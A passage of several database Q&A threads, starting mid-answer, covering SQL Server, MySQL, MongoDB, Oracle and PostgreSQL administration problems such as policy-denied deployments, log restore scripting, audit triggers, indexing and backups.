  3). I filed a separate Connect suggestion (Connect #686121) that they
  plaster a warning about this incompleteness on all INFORMATION_SCHEMA
  view topics in Books Online. I don't think it's very well known that
  they are not the preferred way to get metadata out of SQL Server, and
  who could blame folks for not seeing this - after all, we're always
  told that using standards-compliant methods is a "best practice" and
  using proprietary methods are the opposite. As with a lot of database
  things, "it depends" - but I suspect, more often than not, you're
  better off using the sys catalog views unless you're in that rare
  scenario where you're using only the features in SQL Server that are
  common to the standard. I don't think I've come across a single
  instance in any capacity where this was the case, but I'm more than
  happy to learn of them if they do exist.


Validate deployment failed deny policy in SQL managed instance Azure I am trying to create a manged instance within an existing subnet in Azure. I have configured the subnet with the script provided by Microsoft which tells me the subnet is prepared.

When I create the managed instance I get

  'Deployment validation failed.
  Additional details from the underlying API that might be helpful: The
  template deployment failed because of policy violation. Please see
  details for more information.'

If I check the activity log I see

  'InvalidTemplateDeployment' and 'Operation name 'deny' Policy action'
  with some further infiormation under the JSON tab e.g.  '
  eventTimestamp": "2019-10-30T10:22:16.9421982Z",
      "id": "/subscriptions/xx/resourceGroups/xx/providers/Microsoft.Sql/managedInstances/xx-sqlmi/events/23572bf7-dbbb-4ba0-a13e-075a8ae58652/ticks/637080277369421982",
      "level": "Error",
      "operationId": "a12adf73-dd1b-4216-80df-dea57d514ba1",
      "operationName": {
          "value": "Microsoft.Authorization/policies/deny/action",
          "localizedValue": "'deny' Policy action." '

None of this seems to me very helpful, how do i diagnose and fix this error? Is it that my network/subnet configuration is wrong? Permissions? A policy which needs to specify managed instances can be created?

Figured out the solution:

Go to the resource group you want to create the managed instance in > Policies > Assignments > Allowed resource types (with the scope subscription/resourcegroupname)   parameters > then from the allowed resource types dropdown select Microsoft.Sql.managedInstances

Sign out and into your account, then managed instance will deploy.

When I got the 'Validate Deployment - 'deny' Policy action' error I went to the Activity log, clicked the Validate Deployment error dropown, clicked the 'deny' Policy action, then looked at the JSON tab - if I looked sequntially to see where the error originated I found this section

"category": {
    "value": "Policy",
    "localizedValue": "Policy"
},
"eventTimestamp": "2019-10-30T13:04:54.8516173Z",
"id": "/subscriptions/XXXXXXX/resourceGroups/XXXXXXXXXXXXX/providers/Microsoft.Sql/managedInstances/minamehere/events/77999a0f-d551-45e0-9b3b-1156b246b50d/ticks/637080374948516173",

"resourceId": "/subscriptions/XXXXXXXXX/resourceGroups/XXXXXXX/providers/Microsoft.Sql/managedInstances/minamehere",
    "status": {
        "value": "Failed",
        "localizedValue": "Failed"

Which is what led me to policies and allowed me to troubleshoot and fix the issue - somewhere I knew I needed to add 'Microsoft.Sql/managedInstances' to the Policy category, which fits with the deny policy error I was experiencing.


Can a full DBCC CHECKDB operation be safely offloaded to a restored backup on a different server? We are currently moving towards a 24/7/365 operating model - as such I am investigating our maintenance strategy.

One item I'm having trouble in figuring out is DBCC CHECKDB. I have seen numerous resources report that DBCC can be offloaded by performing a FULL backup, restoring that backup on a separate SQL instance, and running our CHECKDB on that restored copy. I've also found some resources that report this is not safe due to edge-case scenarios.

Is running CHECKDB safe if not run on the production database itself? If not, what parts are safe to run on a restored copy?

SQL Server expert Paul Randal discusses this option in his post CHECKDB From Every Angle: Consistency Checking Options for a VLDB

Use a separate system
This alternative is relatively simple – restore your backup (you are
taking regular backups, right?) on another system and run a full DBCC
CHECKDB on the restored database. This offloads the consistency
checking burden from the production system and also allows you to
check that your backups are valid. There are some drawbacks to this
however:

You need to have sufficient disk space on the spare system to be able to restore the backup onto. If the production database is
several
TB, you need the same several TB on the spare box. This equates to a
non-trivial amount of money – initial capital investment plus ongoing
storage management costs. (Hopefully a future release will alleviate
this – while at Microsoft I invented and patented a mechanism for
consistency checking a database in a backup without restoring it.)

If the consistency checks find an error, you don’t know for sure that the database is corrupt on the production system. It could be a
problem with the spare box that’s caused the corruption. The only way
to know for sure is to run a consistency check on the production
system. This is a small price to pay though, because most of the time
the consistency checks on the spare system will be ok, so you know the
production database was clean at the time the backup was taken.

Other than the drawbacks that Paul mentions, I'm not aware of any problems with offloading the consistency checks to another system.
I provided an answer to a question - How to conduct integrity test on SQL Server database backup file? where I described the process we use at my shop.

At my shop, we have a 'play' server that we use to automate restores
of the latest FULL/DIFF of the databases we deem 'important'. We use
Windows Task Scheduler to kick off a bat file which has several SQLCMD
steps. After successful restores, we run full DBCC CHECKDB WITH
ALL_ERRORMSGS,NO_INFOMSGS and output the result to a txt file. Then we
email the output txt files to the database group for evaluation.
This process tests TWO things

Can I restore my backups?
Is the data in the backup structurally intact (DBCC)

One additional note:  Corruption can happen anytime.  Immediately after a good DBCC CHECKDB or successful backup, so make attempts to run DBCC consistency checks often.


MySQL ERROR 2013 Lost connection I am running a real old version of mysql(3.23.56). Everything is good, expect when I want to delete all entries of a table. I have checked query, like drop, select,update, their behaviours are correct. Even I use sql like delete from t1 where id='5', I can get the right answer. But for delete from t1 (which would delete all entries in table t1), it shows

  ERROR 2013 at line 1: Lost connection to mysql server during query.

And mysqld restarted. Even this table has only 1 entry!

I checked the error log. It shows:

Number of processes running now: 0
 Fri Jul 24 13:31:00 CDT 2015
150724 13:31:10  mysqld started
/home/chenyuxi/Desktop/bugs/mysql_169/mysql-build/libexec/mysqld: ready for connections
mysqld got signal 11;
This could be because you hit a bug. It is also possible that this binary
or one of the libraries it was linked against is corrupt, improperly built,
or misconfigured. This error can also be caused by malfunctioning hardware.
We will try our best to scrape up some info that will hopefully help diagnose
the problem, but since we have already crashed, something is definitely wrong
and this may fail

key_buffer_size=8388600
record_buffer=131072
sort_buffer=2097144
max_used_connections=0
max_connections=100
threads_connected=1
It is possible that mysqld could use up to
key_buffer_size + (record_buffer + sort_buffer)*max_connections = 225791 K
bytes of memory
Hope that's ok, if not, decrease some variables in the equation

I try to change global variable max_allowed_packet and net_read_timeout, it seems useless.

Any suggestions? Really urgent for me .

Thanks

MySQL 3.23.58 was the last release of MySQL 3.

Your version (3.23.56) still had an issue with improper locking and binlogging during a DELETE FROM tbl with no WHERE clause : Bug #169 : DELETE FROM t; does not lock 't' enough, causes bad order in binlog. It required a patch to get around it.

You should upgrade from 3.23.56 ASAP

I did find one repo with MySQL 3.23.58.

Still, you need to abandon MySQL 3.x. Go to MariaDB for the latest MySQL repos.


SQL Server auto restore only log where not restored before i want to make an auto restore script for the transaction log only
i have found the script to restore log in directory which have named with dbname_timestamp.trn

the problem is this script will restore all the log files in there directory no matter which log files have restored before or not. and it will get failed in the output screen in sql server management studio.

DECLARE backupFiles CURSOR FOR
   SELECT backupFile
   FROM @fileList
   WHERE backupFile LIKE '%.trn'
   AND backupFile LIKE @dbName + '%'
   AND backupFile > @lastFullBackup

OPEN backupFiles

-- Loop through all the files for the database
FETCH NEXT FROM backupFiles INTO @backupFile

WHILE @@FETCH_STATUS = 0
BEGIN
   SET @cmd = 'RESTORE LOG ' + @dbName + ' FROM DISK = N'''
       + @backupPath + @backupFile + ''' WITH FILE = 1, STANDBY= ''' + @standbydir + ''''
   PRINT (@cmd)
   FETCH NEXT FROM backupFiles INTO @backupFile
END

the question is, what script to make the restore is only restore the log file only the log where not restored yet before.

for example:
in directory, there are 4 log files, log_1 , log_2, log_3, and log_4. i have restored log_1 and log_2, what script to make restore only log_3 and log_4, because my script will restore the all of log files in there directory.

btw, This is my script (modified from Greg's Scripts)

USE Master;
GO
SET NOCOUNT ON

-- 1 - Variable declaration
DECLARE @dbName sysname
DECLARE @backupPath NVARCHAR(500)
DECLARE @standbydir NVARCHAR(500)
DECLARE @cmd NVARCHAR(500)
DECLARE @fileList TABLE (backupFile NVARCHAR(255))
DECLARE @lastFullBackup NVARCHAR(500)
-- DECLARE @lastDiffBackup NVARCHAR(500)
DECLARE @backupFile NVARCHAR(500)

-- 2 - Initialize variables
SET @dbName = 'yogalogmanual'
SET @backupPath = 'K:\shared240\logmanual\'
SET @standbydir = 'K:\shared240\logmanual\yogarollback_01.bak'

-- 3 - get list of files
SET @cmd = 'DIR /b ' + @backupPath
INSERT INTO @fileList(backupFile)
EXEC master.sys.xp_cmdshell @cmd

-- 4 - Find latest full backup
SELECT @lastFullBackup = MAX(backupFile)
FROM @fileList
WHERE backupFile LIKE '%.bak'
   AND backupFile LIKE @dbName + '%'

--SET @cmd = 'RESTORE DATABASE ' + @dbName + ' FROM DISK = N'''
--       + @backupPath + @lastFullBackup + ''' WITH FILE = 1,  STANDBY = N''' + @standbydir + ''''
--EXEC (@cmd)

-- to check backup log which not restored yet

-- 5 - check for log backups
DECLARE backupFiles CURSOR FOR
   SELECT backupFile
   FROM @fileList
   WHERE backupFile LIKE '%.trn'
   AND backupFile LIKE @dbName + '%'
   AND backupFile > @lastFullBackup

OPEN backupFiles

-- Loop through all the files for the database
FETCH NEXT FROM backupFiles INTO @backupFile

WHILE @@FETCH_STATUS = 0
BEGIN
   SET @cmd = 'RESTORE LOG ' + @dbName + ' FROM DISK = N'''
       + @backupPath + @backupFile + ''' WITH FILE = 1, STANDBY= ''' + @standbydir + ''''
   PRINT (@cmd)
   FETCH NEXT FROM backupFiles INTO @backupFile
END

CLOSE backupFiles
DEALLOCATE backupFiles

Thank You,

Yoga

I assume that your database is in the restoring state and you alredy have restored a full backupset WITH NORECOVERY.

In this case you can inspect the contents of the log backups using RESTORE HEADERONLY: this will return the column FirstLSN, that you can use to compare with MAX(redo_start_lsn) from sys.master_files.
All log backups with FisrtLSN < MAX(redo_start_lsn) can be safely skipped.


Design a website database structure I am really stuck on the database structure of the shopping cart website. I am trying to create a sample shopping project for learning purpose where I am getting heavily stucked.

Here is my sample database design:

Products Table:

id    name           description    price   productType   ....
1     Sony Mobile    Sony Mobile    15000    mobile
2     Sony TV        Sony TV        35000    tv
3     LG WM          LG WM           7500    Washing Machine
4     Levovo         Lenovo Laptop  20000    Laptop

When the user search for any particular product, he will also get the filter options which will different according to productType.

For example, if the product, the user is searching is mobile smartphone, then the filters available to him should be

price range: 1000 - 100000
Camera:      2px  - 20px ..
Wifi:        yes/no
Bluetoooth:  yes/no
GPS:         yes/no
..

if the product is Laptop, then the filters will be different from mobile phone i.e.

price range: 15000 - 300000
Harddisk:    320GB - 2TB
RAM:         1GB   - 64GB
OS:          Linux
..

Same, the filters will vary from washing machine to TV. The problem is, where could these filters should be stored in the database. What could be the design of the database?

Another problem is, when the user visits the product's page like mobile, he will see the complete details of mobile. For example:

Size:
Battery:
images:
Removable battery:
...

I cannot store all these details of mobile in the above products table since the product table not only contains mobile but also other types of products where these details doesn't match. Example, Washing machine doesn't contains the parameter Removal battery. So, there will be a number of unnecessary columns get generated in the products table.

Now I am confused, where should I store this product details in the database?

First way could be to create one column in the products table which store all these information as json object.

Second could be to generate tables dynamically for each product type i.e. a table for all the mobiles, a table for all the laptops, etc. which should contains all its necessary fields. But this solution is quite complex & I am trying to avoid it.

Third would be to generate tables statically while coding for each possible product type. Here, the problem is that, suppose in future, if any new product type is introduced like books, then again, I will have to code it in the program while the site is live. So, this solution is not flexible.

So, how can I solve these two problem i.e. filters & showing product's details to the user?

Thanks

What you could do is a design like this:

Product(id,name,description,price,productType)
ProductAttribute(productId,attributeName,value)

Then you would have the possibility to filter for all attributes that are currently used in your database.

If you want to be able to filter for all attributes, even if they are not used in any product at the moment, you'll have to add a table

AttributesForProductType(productType,attributeName)

which contains all possible attributes, and then set up referential integrity (foreign keys) between AttributesForProductType and ProductAttribute. This way you lose the risk of misspelling an attribute name in the ProductAttribute table.

edit: If you take this design this also solves your second question: How to display a details page for every possible product type?

All possible attributes for this product are

select attributeName
from AttributesForProductType
where productType=?

all real attributes for a product with their values are

select attributeName, value
from ProductAttribute
where id=?

and those combined are (off of my head, untested)

select apt.attributeName, pa.value
from Product as p
left outer join AttributesForProductType as apt on p.productType=apt.ProductType
left outer join ProductAttribute as pa on apt.attributeName=pa.attributeName
where p.id=?


How to use mongoexport in count? I want to get the count of all rows in a single collection into an output file. What is the correct way of doing this
Here is what I did but I am encountering an error.
mongoexport --host 10.1.0.1:27017 --db proddb --collection  UserColl --query "{db.getCollection('UserColl').count()}" --type=csv --out=output.csv

I created a sample.js file like the sample below:
db=db.getSiblingDB('DbName');

printjson( db.getCollection('CollectionName').find().count() );

then I run this script below on cmd:
mongo --host IP:PORT --username username --password password --authenticationDatabase admin --quiet sample.js > sample.csv


sysadmin cannot drop login when ddl audit trigger enabled I have a DDL trigger defined for database- and server-level events in SQL Server 2008R2 (Standard) which exists to log all DDL events into an audit table in an admin database.  It's only function is to extract the relevant data from EVENTDATA() and insert into this table.  For the purpose of the insert (as only sysadmins can access the admin database), I have created a dedicated SQL login with only INSERT permission to this table, and granted IMPERSONATE on this login to public.  This is intended to prevent permissions-related errors from the trigger firing and attempting to insert into the audit table, when the caller does not have the necessary access to the database/table.

Here is the trigger definition:

CREATE TRIGGER [ddl_log]
ON ALL SERVER
FOR DDL_DATABASE_LEVEL_EVENTS, DDL_SERVER_LEVEL_EVENTS
AS
BEGIN

DECLARE @data XML
SET @data = EVENTDATA()

EXECUTE AS LOGIN='<dummy login>'
    INSERT admin.dbo.ddl_audit (PostTime, DB_User, [Event], [TSQL], Host, DatabaseName)
    VALUES (
       GETDATE(),
       CONVERT(NVARCHAR(100), ORIGINAL_LOGIN()),
       @data.value('(/EVENT_INSTANCE/EventType)[1]', 'nvarchar(100)'),
       @data.value('(/EVENT_INSTANCE/TSQLCommand)[1]', 'nvarchar(2000)'),
       CONVERT(NVARCHAR(100), HOST_NAME()),
       @data.value('(/EVENT_INSTANCE/DatabaseName)[1]','nvarchar(100)')
       ) ;
REVERT
END

I have had no issues with this trigger since implemented months ago.  However, now it appears to be preventing even a sysadmin from executing an ALTER LOGIN, DROP LOGIN, etc. under certain circumstances as follows:

My environment also includes MS Dynamics GP 2010 (Great Plains). Great Plains allows an admin to manage users, and for each new Great Plains user, the software creates a SQL login for that user in SQL Server.  Resetting a password in the Great Plains interface resets the SQL password.  And so forth...

However, even if logged into Great Plains as 'sa' as long as the above trigger is enabled any attempt to alter or drop a login fails with error 15151 (Cannot alter the login 'loginname', because it does not exist or you do not have permission).  If I disable the trigger, everything works normally.

The same operations executed in SSMS, or through some other interface, are successful, even for non-sysadmins who have some level of DDL permissions.  It only fails when performed in Great Plains.  A profiler trace of the operation shows that GP is merely submitting a standard T-SQL 'ALTER LOGIN' or 'DROP LOGIN' statement, and that the statement correctly shows as called by the sa account.  It does not appear that the session ever switched to a different context, other than for the insert into the audit table (which it never actually got to, as no record was logged for the statement).  And just in case the session somehow was maintaining the wrong context after that impersonation, I tried making the dummy-insert login a sysadmin with no success.

My question is, are there certain combinations of SET options/connection settings, etc. that could result in this type of behavior or issues with DDL trigger execution that could prevent a sysadmin from performing certain operations?  Or is there some other avenue to investigate that I am completely missing?

After a considerable amount of testing, I finally discovered the reason behind this error.  The client connection explicitly set ANSI_WARNINGS and CONCAT_NULL_YIELDS_NULL OFF. XML data operations, such as @data.value('(/EVENT_INSTANCE/EventType)[1]', 'nvarchar(100)'), require both to be ON.  I had attempted to override these within the trigger, but I may have placed them wrong.  The final code below works, even with the explicit SET options in the connections from Great Plains:

CREATE TRIGGER [ddl_log]
ON ALL SERVER
FOR DDL_DATABASE_LEVEL_EVENTS, DDL_SERVER_LEVEL_EVENTS
AS
BEGIN
SET NOCOUNT ON;
SET ANSI_WARNINGS, CONCAT_NULL_YIELDS_NULL ON;

DECLARE @data XML
SET @data = EVENTDATA()

EXECUTE AS LOGIN='<dummy login>'
INSERT admin.dbo.ddl_audit (PostTime, DB_User, [Event], [TSQL], Host, DatabaseName)
VALUES (
   GETDATE(),
   CONVERT(NVARCHAR(100), ORIGINAL_LOGIN()),
   @data.value('(/EVENT_INSTANCE/EventType)[1]', 'nvarchar(100)'),
   @data.value('(/EVENT_INSTANCE/TSQLCommand)[1]', 'nvarchar(2000)'),
   CONVERT(NVARCHAR(100), HOST_NAME()),
   @data.value('(/EVENT_INSTANCE/DatabaseName)[1]','nvarchar(100)')
   ) ;
REVERT
END

As an alternative, I also could have simply inserted EVENTDATA() as an XML LOB into a table, rather than parsing it out into columns.  Because I would not be manipulating the XML, the SET options do not matter.  Then I would just build an XML index for querying performance, and construct a view to use for audit log reporting that parses the XML in the view definition, in the same manner as I am doing above in my INSERT statement.

Thanks to Max for pointing me in a different research direction, and @AaronBertrand on #sqlhelp who helped me with correct SET options within the body of the trigger.


How to set up indexes for dynamic filtering queries in Oracle Given I have SOURCE_EVENT table in Oracle:
create table SOURCE_EVENT
(
    ID                   NUMBER(19)                             not null
        constraint PK_SOURCE_EVENT
            primary key,
    SOURCE_SYSTEM        VARCHAR2(50 char)                      not null,
    EVENT_TYPE           VARCHAR2(60 char),
    EVENT_TIMESTAMP      TIMESTAMP(6),
    CONTRACT_NUMBER      VARCHAR2(255 char),
    PERSON_CUID          NUMBER(19),
)
/

I want to effectively filter by all columns in this table and filtering should be dynamic, i.e. user can select in UI any combination of input fields.
I also use paging to display pages of 10 source events and total number of source events.
Current situation is I have 30 million rows stored in this table.
Examples of queries:
select *
from (select s.id              as id,
             s.source_system   as source_system,
             s.event_type      as event_type,
             s.event_timestamp as event_timestamp,
             s.contract_number as contract_number,
             s.person_cuid     as person_cuid
      from SOURCE_EVENT s
      where s.source_system = 'source' AND s.event_type = 'event'
      order by s.id desc)
where rownum <= 10;

select
    count(s.id) as count
from
    SOURCE_EVENT s
where
    s.event_timestamp between TO_TIMESTAMP('2020-10-22 00:00:00', 'YYYY-MM-DD HH24:MI:SS.FF9') and TO_TIMESTAMP(
            '2020-10-23 23:59:59.999999999', 'YYYY-MM-DD HH24:MI:SS.FF9')

What is recommended way how to set up indexes?
Taking into consideration all combinations of predicates can be used

Taking into consideration all combinations of predicates can be used

One option would be a bitmap index on the non ID, non TIMESTAMP column.
One index per column.
Beware of its it's downsides.

serialization
possible slower DML

Luckily, the newer versions of Oracle allow you to experiment with indexing strategies.


How do I write a query that gives me 2 results from the same table? I wonder if anyone can help me with this at all, I'm a complete novice here! The call center I manage uses FreePBX as a phone system and try as I might I have not been able to find a solution for a dashboard for outbound call centers that doesn't cost the Earth.
I was recommended to use Reportico as a solution and the below was written for that provides:

SELECT CASE WHEN
SUBSTR(channel, INSTR(channel,'/')+1,3)=200 THEN 'Chrissie' WHEN SUBSTR(channel, INSTR(channel,'/')+1,3)=202 THEN 'Sam M' WHEN SUBSTR(channel, INSTR(channel,'/')+1,3)=205 THEN 'Leo' WHEN SUBSTR(channel, INSTR(channel,'/')+1,3)=208 THEN 'Callum' WHEN SUBSTR(channel, INSTR(channel,'/')+1,3)=209 THEN 'Sam D' ELSE 'Other' END USER, COUNT(uniqueid)
Total_Connected_Calls, SEC_TO_TIME(SUM(duration))
Call_Duration, SEC_TO_TIME(TIMESTAMPDIFF(SECOND, MIN(calldate), MAX(calldate)) - SUM(duration))
Total_Idle_Time, SEC_TO_TIME(ROUND((TIMESTAMPDIFF(SECOND, MIN(calldate), MAX(calldate)) - SUM(duration))/ COUNT(uniqueid))) Avg_Idle_Time
FROM cdr
WHERE DATE(calldate) = CURDATE() AND disposition = 'ANSWERED' AND (SUBSTR(channel, INSTR(channel,'/')+1,1) = 2 OR SUBSTR(channel, INSTR(channel,'/')+1,3) = 113)
GROUP BY SUBSTR(channel, INSTR(channel,'/')+1,3)

What I would like is additional column to show the total dials made so that I have a table showing

User
Total Dials
Total Connected Calls
Total Idle Time
Avg Idle Time

I have tried to remove the condition AND disposition = 'ANSWERED' which gives me the total dials for the day, but I can't figure out how then to get the total number of answered calls as well!
Any assistance with this would be greatly appreciated.
Thanks

Answer provided by mustaccio in a comment:
COUNT(uniqueid) Total_Dialed_Calls,
COUNT(CASE disposition WHEN 'ANSWERED' THEN 1 END) Total_Connected_Calls...


Is Mysql ACID Compliant? Is Mysql not an ACID compliant according to Postgresql? In some blogs I see Mysql is not ACID compliant. How true is that?

Let't not consider the replication here, lets consider a standalone and how efficient is Mysql ACID?

In my understanding for Mysql-ACID.

  A - Atomicity (Set of transactions should all be committed if one
  fails it has to rollback. Yes means all are committed , no means even
  one failed it has to Rollback).

  I.E. Features that supports in Mysql are.

  start Transaction; ..... commit ;
  auto_commit=1;

  C - Consistency.

  ( PK,FK,UK,NOT-NULL). It adheres to Relations and constraints for
  Databases. Instance a parent key can be deleted only when its child
  key is removed.

  I - Isolation.  Isolation between users and their state of commit.

  Read Repeatable Read Uncommitted Read Committed Serialized

  D - Durability. At the event of DB crash innodb recovers the DB by
  applying committed transaction from iblog file and discards
  not-committed transaction.

Click here for the source of this question.   - Is it because the blog is created @2001?

UPDATE Jun-30-2017: As per "Evan Carroll" response and I have personally tested the blog experiment on 5.7.18-enterprise. The results obtained from the experiment seems to be Mysql is Not an ACID Compliant.

If you use InnoDB or a similar storage engine then it should be ACID compliant (ref: https://en.wikipedia.org/wiki/InnoDB). myISAM, the old default and still very commonly used, most definitely isn't ACID compliant. If you mix the two (you might find simpler table types perform better and are acceptable for volatile data that can and will be reproduced again, such as staging tables for ETL processes) then you solution will not be entirely compliant.

A large caveat with ACID compliance is that for performance reasons most databases use an isolation level that does not guarantee the "I" part - this is within the ANSI SQL specs. To offer proper Isolation you need to guarantee that transactions are serialisable, an isolation level that some DBs don't even support. For example MySQL+InnoDB defaults to "repeatable read", while MS SQL Server defaults to the slightly more strict "read committed", both offer "serialisable" but it is not the default. Why isn't is always supported and usually not the default? Performance: a full isolation requirement can significantly limit concurrency.

There are a few good articles on the subject. For one example http://www.bailis.org/blog/when-is-acid-acid-rarely/ is a short and informative place to start with some interesting discussion in the comments.


Postgresql - Streaming replication - STONITH Current situation:

PostgreSQL, streaming replication
Master failed, I created the
trigger file. Slave is promoted to new master
After the old master
restarted successfully, I have to create base backup and change
config to change old master to new slave.
(https://wiki.postgresql.org/wiki/Streaming_Replication: How to
use/13).

My problem: the data amount is very large (sometimes 100GB), therefore the base backup takes a long time. How to turn the old master to a new slave without basebackup?  (For example, with administrator command like pg_switch_xlog().)

well, you cannot switch back easily.
what you can do is to use the old backup method:

SELECT pg_start_backup('whatever');
rsync the data dir
SELECT pg_stop_backup();

this is the best way as not all the data has to be transported over the network.
i definitely recommend this replacement for pg_basebackup because it is the only RELIABLE way to get things back in order (nobody knows for sure what happens before the crash).
sure, there might be other tricks out there but i would strongly vote for this method.


How to increase performance with joins to create VIEW from Wordpress wp_usermeta After a lot of searching, I finally was able to create a SQL Query to retrive Wordpress User Meta Data. Now the problem is, the performance is so bad it doesn't even show me a result after 30 min.

Wordpress stores data in 3 columns: user_id, meta_key, meta_value.
So each entry gets one row.
What I need is one row per user, with each meta_key as its own column.

In other words, I have this:

user_id | meta_key | meta_value
       1|Name      |David
       1|Lastname  |Brown

But I need this:

user_id|Name |Lastname
      1|David|Brown

My approch on this is:

select m1.user_id, m1.meta_value as Vorname_M, m2.meta_value as Nachname_M,m3.meta_value as Adresse_M
from wp_usermeta m1
join wp_usermeta m2 on (m1.user_id = m2.user_id and m2.meta_key =  'nachname')
join wp_usermeta m3 on (m2.user_id = m3.user_id and m3.meta_key = 'adress')
where m1.meta_key = 'vorname'

With 5 joins it still works, but takes already 4 sec. All in all there are actually 17 joins, and at this point it doesnt show me anything.

I am running the query in phpMyAdmin, and would like to create a VIEW out of the result.

Now the actual question is: How can I increase the perfomance on my query, or how to rewrite it? I am givng my best, but I am actually a starter in SQL.

MySql version: 5.5

In this case you don't need to join the table to itself.  If you only query it once then it will go faster.

SELECT user_id,
    MAX(CASE WHEN meta_key='vorname' THEN meta_value ELSE null END) Vorname_M,
    MAX(CASE WHEN meta_key='nachname' THEN meta_value ELSE null END) Nachname_M,
    MAX(CASE WHEN meta_key='adress' THEN meta_value ELSE null END) Adresse_M
FROM wp_usermeta
GROUP BY user_id


In MySQL how do I grant a user access to a read replica only? I have some users that I want to grant read only access to my database so I setup a replica server, but I don't want to grant them access to the master. I'd assume that this is a common use case, but I've not been able to find out how to do this easily. The only thing I can think of to accomplish this is to restrict access by IP to the master server.

Master and slave instances can have different users and access permissions -replicated queries are executed by the SUPER user-, just create and/or modify the separate users with SET SESSION sql_log_bin = 0; every time (so you do not create conflicts on replication). Avoid any other process writing directly to the mysql.user (and other mysql.*) tables directly and you will be fine.

You probably want to set your slave as read_only and not provide SUPER privileges on anyone else there (as it will become out of sync if someone writes there and not to the master).


SELECT SERVERPROPERTY('ProductUpdateLevel') SHOWING NULL Good Morning Experts,

I had applied CU7(cumulative update 7) to SQL Server 2012 EE SP1 instance. After applying, when i queried SELECT SERVERPROPERTY('ProductUpdateLevel'), it is displaying as NULL instead of CU7. Could you please help.

As per https://msdn.microsoft.com/en-us/library/ms174396.aspx the property ProductUpdateLevel

  Applies to: SQL Server 2012 through current version in updates beginning in late 2015.

SQL Server 2012 SP1 CU7 is from November 2013, and so not sufficiently current.

There is no SP1 cumulative update that would support pulling that information. You would need to move to Service Pack 2 with CU9 at the least.

As a side note, SQL Server 2012 SP1 was no longer supported as of July 2015. Service Pack 2 will stop being supported in January of 2017 (as detailed in the Microsoft Lifecycle Policy). You should look to upgrade to Service Pack 3 as soon as possible to remain in support.


Arguments for MongoDB backup with OpsManager or mongodump? I have a replica set of two MongoDB nodes running (with an arbiter) and I am now wondering about the best backup and recovery solution. I am aware of the official documentation, but it does not provide me enough pro and con's for each solution. In particular, our team wants to decide between either a OpsManager-solution or a mongodump. I am not experienced with either of them, so could you be so kind and please help me out with more arguments and experiences? The following arguments I collected so far, feel free to edit them if they are not correct:

Arguments for mongodump and against OpsManager

simpler, just a command line for a snapshot and another one for the recovery
no additional servers and/or licenses required which is the suggested solution for OpsManager

Arguments for OpsManager and against mongodump

tested solution, provided directly by the team who developed MongoDB
cleaner and sustainable, since it could be configured via GUI and does not require command line access
easy logging of each backup run possible, which contrasts to mongodump requiring a custom (power?) shell script wrapped around

Related questions on Stackexchange which did not solve my issue:

https://stackoverflow.com/questions/22555280/best-way-to-make-hot-backup-mongodbtokumx-database-instance
https://stackoverflow.com/questions/31502601/how-should-i-backup-mongodb-on-digitalocean
https://stackoverflow.com/questions/39169209/backup-mongodb-data
https://stackoverflow.com/questions/17458124/how-to-get-a-consistent-mongodb-backup-for-a-single-node-setup
Backup with mongoexport or mongodump?

It might not be a full answer (as others will have valid opinion) but I am ok with not getting credit.

Argument in favor of OpsManager:

Continuous backup, you can recover up to the last committed transaction.
You can set your retention one time and do not have to worry about it.
You can automatically make multiple copy of your backup for redundancy.
Restoring non production environment (DEV/QA/INT) in matter on minutes.
mongodump excludes the content of the local database in its output which is problematic for sharded cluster and replica set.
mongodump only captures the documents in the database in its backup data and does not include index data. mongorestore or mongod must then rebuild the indexes after restoring data.
mongodump can adversely affect performance of the mongod. If your
data is larger than system memory, the mongodump will push the
working set out of memory.
Mongodump is not suitable for large databases. This is from official documentation.

  The mongodump and mongorestore utilities work with BSON data dumps,
  and are useful for creating backups of small deployments. For
  resilient and non-disruptive backups, use a file system or block-level
  disk snapshot function, such as the methods described in the MongoDB
  Backup Methods document.

  Because mongodump and mongorestore operate by interacting with a
  running mongod instance, they can impact the performance of your
  running database. Not only do the tools create traffic for a running
  database instance, they also force the database to read all data
  through memory. When MongoDB reads infrequently used data, it can
  evict more frequently accessed data, causing a deterioration in
  performance for the database’s regular workload.


SQL Server alter table to change TEXT to NVARCHAR(MAX) greatly increasing database size I need to update a SQL Server database thats about 18GB in size to change a significant number of TEXT columns to NVARCHAR(MAX).

The problem I'm having is after executing all the alter table commands the database ends up being almost 26GB in size. I understand that from here using NVARCHAR(MAX) will alow the DB to grow more slowly but is there any way for me to prevent this bloating ?

I expect this post will be of help to you.

http://geekswithblogs.net/johnsPerfBlog/archive/2008/04/16/ntext-vs-nvarcharmax-in-sql-2005.aspx

Key facts:

By default TEXT and NTEXT stores the text value in the LOB structure
By Default NVARCHAR(MAX) stores the text value in the table structure (Unless it is over 8000 bytes)
When you alter the column from the TEXT/NTEXT to NVARCHAR(MAX), the way the data is stored is not changed, it updates the table metadata only.  The data structure is only changed the next time the value is changed.  This can be done immediately by running something like this:

  update mytable set mycolumn1 = mycolumn1

If you use the default table option setting for NVARCHAR(MAX), then the data in your table will be larger.

- You will need to look at your table option settings and environment before changing the setting to what suits your needs.
Your table size will eventually shrink, if you follow your alter table statement with the update table statement.

In short, if you run the update statement, forcing the storage of the data structure to be changed, your database size will be smaller, as expected.

EDIT: As you have mentioned TEXT and not NTEXT, your gain in space would be less obvious than you might think.  NTEXT takes double the amount of space as what TEXT does, but at the same time, you should expect NVARCHAR(MAX) to take up around half the space as what NTEXT does.  By my calculation, you would see little change from your original database size.

  Special credit to http://www.douglubey.com/


How to log connections to the database? I'm trying to write a small program that is meant to connect to a database over TCP/IP using raw sockets with Python. I can't open a connection so tried to see what's happening on PostgreSQL's side but I can't get logging to work.

So, how can I enable connection logging? If logging is not possible how can I debug connection attempts in the database server?

Update

I tried to open a connection using netcat but it always gets closed, I still don't know why.

$ nc -vvv 127.0.0.1 5432
localhost [127.0.0.1] 5432 (postgresql) open
user=myuser
sent 17, rcvd 0

I found that I need to send the protocol version along with the user, otherwise the connection is simply dropped, as the documentation states.


Can I create a database on a local folder mapped as a drive I have mapped a local folder as a drive, as follows:

subst E: c:\MyFolder

I need to create a database on that drive, but it fails:

CREATE DATABASE MyDb
ON(NAME=MyDb_dat,FILENAME='E:\MyDb.mdf',SIZE=30,MAXSIZE=45,FILEGROWTH=1)
 LOG ON(NAME=MyDb_log,FILENAME='E:\MyDb.ldf',SIZE=10,MAXSIZE=20,FILEGROWTH=1)

Here is the error message:

Msg 5133, Level 16, State 1, Line 1
Directory lookup for the file "E:\MyDb.mdf" failed with the operating system error 3(The system cannot find the path specified.).
Msg 1802, Level 16, State 1, Line 1
CREATE DATABASE failed. Some file names listed could not be created. Check related errors.

Restarting the service did not help at all. How can I have SQL Server create a database on the mapped folder?

